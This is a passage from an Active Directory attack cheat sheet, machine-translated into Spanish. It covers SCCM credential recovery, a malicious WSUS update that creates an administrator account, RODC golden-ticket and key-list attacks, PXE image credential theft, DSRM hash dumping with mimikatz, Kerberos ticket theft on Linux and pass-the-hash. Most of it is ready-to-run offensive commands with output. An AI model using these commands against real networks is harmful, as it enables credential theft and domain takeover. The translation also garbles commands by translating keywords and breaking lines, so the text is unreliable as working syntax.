  <![CDATA[E600000001...8C6B5]]> NetworkAccessUsername: <!
  [CDATA[E600000001...00F92]]>

- Uso de GhostPack/SharpDPAPI o Mayyhem/SharpSCCM para la recuperación y descifrado de SCCM

  .\SharpDPAPI.exe SCCM .
  \SharpSCCM.exe obtener naa -u NOMBRE DE USUARIO -p CONTRASEÑA

- Verifique ACL para el repositorio CIM ubicado en
  C:\Windows\System32\wbem\Repository\OBJECTS.DATA :

  Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Lista de formatos -Propert ConvertFrom-
  SddlString ""

Acciones de SCCM

> Encuentre archivos interesantes almacenados en recursos compartidos SMB (System Center) Configuration Manager (SCCM/CM)

- 1njected/CMLoot

  Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt Invoke-CMLootDownload
  -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\ Invoke-CMLootDownload -InventoryFile .
  \sccmfiles.txt -Extensión msi

Implementación de WSUS

> Windows Server Update Services (WSUS) permite a los administradores de tecnología de la información implementar las últimas actualizaciones de productos de Microsoft. Puede usar WSUS para administrar completamente la distribución de las actualizaciones que se publican a través de Microsoft Update en las computadoras de su red

:advertencia: La carga útil debe ser un binario firmado por Microsoft y debe apuntar a una ubicación en el disco para que el servidor WSUS cargue ese binario.

- SharpWSUS

1. Localizar usando
   HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate o
   Localización de SharpWSUS.exe
2. Después del compromiso del servidor WSUS: Inspeccione SharpWSUS.exe
3. Cree un parche malicioso: cree SharpWSUS.exe
   /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"usuario de red WSUSDemo Contraseña123! /add ^& administradores de grupo local neto WSUSDemo /add\"" /title:"WSUSDemo"
4. Implementarlo en el objetivo: SharpWSUS.exe aprobar /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Grupo de demostración"
5. Verifique el estado de implementación: SharpWSUS.exe verifique /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /nombre de computadora:bloredc2.blorebank.local
6. Limpieza: eliminación de SharpWSUS.exe /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Grupo de demostración

RODC: controlador de dominio de solo lectura

Los RODC son una alternativa para los controladores de dominio en ubicaciones físicas menos seguras

- Contiene una copia filtrada de AD (se excluyen las claves LAPS y Bitlocker)
- Cualquier usuario o grupo especificado en el atributo administrado por un RODC tiene acceso de administrador local al servidor RODC.

Boleto dorado del RODC

- Puede falsificar un ticket dorado de RODC y presentarlo a un controlador de dominio grabable solo para los principales enumerados en el atributo msDS-RevealOnDemandGroup del RODC y no en el Atributo msDS-NeverRevealGroup de RODC

Ataque de lista de claves RODC

Requisitos:

- Impacket PR #1210 - El ataque de la lista de claves de Kerberos
- Credenciales krbtgt del RODC (-rodcKey)
- ID de la cuenta krbtgt del RODC (-rodcNo)
- usando impacket

```
# keylistattack.py usando la enumeración de usuarios SAMR sin filtrar ( -marca completa) keylistattack.py
DOMINIO/usuario:contraseña@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXX

# keylistattack.py definiendo un nombre de usuario de destino (-t flag)
keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXX

# secretsdump.py usando la opción de ataque de lista de claves de Kerberos (-use-keylist) secretsdump.py
DOMINIO/usuario:contraseña@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXX
```

- Usando Rubeus

```
Rubeus.exe dorado /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591 Rubeus.exe asktgs /
enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab
```

Objeto de computadora RODC

Cuando tiene uno de los siguientes permisos para el objeto de computadora RODC: GenericWrite, GenericAll, WriteDacl, Owns, WriteOwner, WriteProperty.

- Agregue una cuenta de administrador de dominio al atributo msDS-RevealOnDemandGroup del RODC

```
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'
```

Ataque de imagen de arranque PXE

PXE permite que una estación de trabajo arranque desde la red recuperando una imagen del sistema operativo de un servidor mediante el protocolo TFTP (Trivial FTP). Este arranque a través de la red permite a un atacante recuperar la imagen e interactuar con ella.

- Presione [F8] durante el arranque PXE para generar una consola de administrador en la máquina implementada.
- Presione [SHIFT+F10] durante el proceso de configuración inicial de Windows para abrir una consola del sistema, luego agregue un administrador local o descargue el registro SAM/SYSTEM.

```
hacker de usuario de red Contraseña123! /
agregar administradores de grupo local de red /agregar hacker
```

- Extraiga la imagen previa al arranque (archivos wim) usando PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) y examínela para encontrar contraseñas y cuentas de dominio predeterminadas.

```
# Importar el módulo PS
> Importar-Módulo .\PowerPXE.ps1

# Iniciar el exploit en la interfaz Ethernet
PD > Get-PXEcreds -InterfaceAlias Ethernet
PD > Get-PXECreds -InterfaceAlias «laboratorio 0»

# Espere a que el DHCP obtenga una dirección >>
Obtenga una dirección IP válida
>>> >>> Dirección IP de propuesta de DHCP: 192.168.22.101 >>>
>>> Validación de DHCP: DHCPACK >>>
>>> Dirección IP configurada: 192.168.22.101

# Extraer la ruta BCD de la respuesta DHCP >> Solicitar
ruta del archivo BCD >>> >>>
Ruta del archivo BCD: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd >>> >>> Dirección
IP TFTP : 192.168.22.3

# Descargue el archivo BCD y extraiga los archivos wim >> Inicie la
descarga TFTP >>>> La transferencia
se realizó correctamente.
>> Analizar el archivo BCD: conf.bcd >>>>
Identificar el archivo wim: \Boot\x86\Images\LiteTouchPE_x86.wim >>>> Identificar
el archivo wim: \Boot\x64\Images\LiteTouchPE_x64.wim >> Iniciar TFTP descargar
>>>> La transferencia se realizó
correctamente.

# Analizar archivos wim para encontrar datos interesantes
>> Abra LiteTouchPE_x86.wim >>>>
Buscando Bootstrap.ini >>>> >>>>
DeployRoot = \\LAB-MDT\DeploymentShare$ >>>> >>>> UserID =
MdtService >>>> >>>> Contraseña de
usuario = Somepass1
```

Reconocimiento DNS

Realizar búsquedas ADIDNS

```
StandIn.exe --dns --límite 20
StandIn.exe --dns --filter SQL --limit 10 StandIn.exe --dns
--forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --dns --legacy --domain redhook --
usuario RFludd --pass Cl4vi$Alchemi4e
```

Credenciales DSRM

> El modo de restauración de servicios de directorio (DSRM) es una opción de inicio en modo seguro para los controladores de dominio de Windows Server. DSRM permite a un administrador reparar o recuperar para reparar o restaurar una base de datos de Active Directory.

Esta es la cuenta de administrador local dentro de cada DC. Al tener privilegios de administrador en esta máquina, puede usar mimikatz para volcar el hash del administrador local. Luego, modificando un registro para activar esta contraseña y poder acceder de forma remota a este usuario Administrador local.

```
Invocar-Mimic -Command '"token::elevate" "lsadump::sam"'

# Comprobar si la clave existe y obtener el valor.
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -nombre DsrmAdminLogonB

# Crear clave con valor "2" si no existe
Nueva propiedad de elemento "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -nombre DsrmAdminLogonB

# Cambiar valor a "2"
Establecer propiedad de elemento "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -nombre DsrmAdminLogonB
```

Directorio activo de Linux

Reutilización de tickets CCACHE desde /tmp

> Cuando los tickets están configurados para almacenarse como un archivo en el disco, el formato y tipo estándar es un archivo CCACHE. Este es un formato de archivo binario simple para almacenar credenciales de Kerberos. Estos archivos normalmente se almacenan en /tmp y tienen un alcance de 600 permisos.

Enumere el ticket actual utilizado para la autenticación con env | grep KRB5CCNAME . El formato es portátil y el ticket se puede reutilizar configurando la variable de entorno con export KRB5CCNAME=/tmp/ticket.ccache . El formato del nombre del ticket de Kerberos es krb5cc_%{uid} donde uid es el UID del usuario.

```
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ exportar KRB5CCNAME=/tmp/krb5cc_1569901115
```

Reutilización de tickets CCACHE desde llavero

Herramienta para extraer tickets de Kerberos de las claves del kernel de Linux: https://tinyurl.com/yx8w6cuh

```
# Configuración y compilación
de git clone https://tinyurl.com/yx8w6cuh cd tickey/
tickey make
CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i [*] krb5
ccache_name = KEYRING:session:sess_%{uid} [+] raíz detectada,
así que... ¡¡DESCARGA TODOS LOS BOLETOS!!
[*] Intentando inyectar en la sesión tarlogic[1000]...
[+] Inyección exitosa en el proceso 25723 de tarlogic[1000], busque tickets en / tm [*] Intentando inyectar en
la sesión de velociraptor[1120601115]...
[+] Inyección exitosa en el proceso 25794 de velociraptor[1120601115], busque tick [*] Intentando inyectar
en sesión trex[1120601113]...
[+] Inyección exitosa en el proceso 25820 de trex[1120601113],buscar tickets en / [X] [uid:0] Error al recuperar
tickets
```

Reutilización de boletos CCACHE de SSSD KCM

SSSD mantiene una copia de la base de datos en la ruta /var/lib/sss/secrets/secrets.ldb . La clave correspondiente se almacena como un archivo oculto en la ruta /var/lib/sss/
secrets/.secrets.mkey . De forma predeterminada, la clave solo se puede leer si tiene permisos de root.

Al invocar SSSDKCMExtractor con los parámetros --database y --key se analizará la base de datos y se descifrarán los secretos.

```
git clone https://tinyurl.com/2ymmnaxs python3
SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

El blob Kerberos de caché de credenciales se puede convertir en un archivo Kerberos CCache utilizable que se puede pasar a Mimikatz/Rubeus.

Reutilización de tickets CCACHE desde keytab

```
clon de git https://tinyurl.com/26xxgpxr python
KeytabParser.py /etc/krb5.keytab klist -k /etc/
krb5.keytab
```

Extraer cuentas de /etc/krb5.keytab

Las claves de servicio utilizadas por los servicios que se ejecutan como root generalmente se almacenan en el archivo de tabla de claves /etc/krb5.keytab. Esta clave de servicio es el equivalente a la contraseña del servicio y debe conservarse seguro.

Utilice klist para leer el archivo keytab y analizar su contenido. La clave que ve cuando el tipo de clave es 23 es el NT Hash real del usuario.

```
$ klist.exe -t -K -e -k ARCHIVO:C:\Users\User\downloads\krb5.keytab [...]

[26] Principal de servicio: host/COMPUTER@DOMAIN KVNO:
        25
        Tipo de clave:
        23 Clave: 31d6cfe0d16ae931b73c59d7e0c089c0
        Marca de tiempo: 07 de octubre de 2019 09:12:02
[...]
```

En Linux puedes usar KeyTabExtract : queremos que el hash RC4 HMAC reutilice el hash NLTM.

```
$ python3 keytabextract.py krb5.keytab [!] No se
localizó RC4-HMAC. No se pueden extraer hashes NTLM. # No hubo suerte [+] Archivo
Keytab importado exitosamente.
            REINO: PRINCIPAL
            DE SERVICIO DE DOMINIO: host/computadora.dominio
            NTLM HASH: 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

En macOS puedes usar bifrost .

```
./bifrost -action dump -source keytab -path test
```

Conéctese a la máquina usando la cuenta y el hash con CME.

```
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTADORA$' -H "31d6cfe0d16ae931b73c59d7e0c089c0"
CME                 10.XXX.XXX.XXX:445 NOMBRE DE HOST-01 [+] DOMINIO\COMPUTADORA$ 31d6cfe0d16ae931
```

Extraer cuentas de /etc/sssd/sssd.conf

> sss_obfuscate convierte una contraseña determinada a un formato ilegible para humanos y la coloca en la sección de dominio apropiada del archivo de configuración SSSD, generalmente ubicado en /etc/sssd/sssd.conf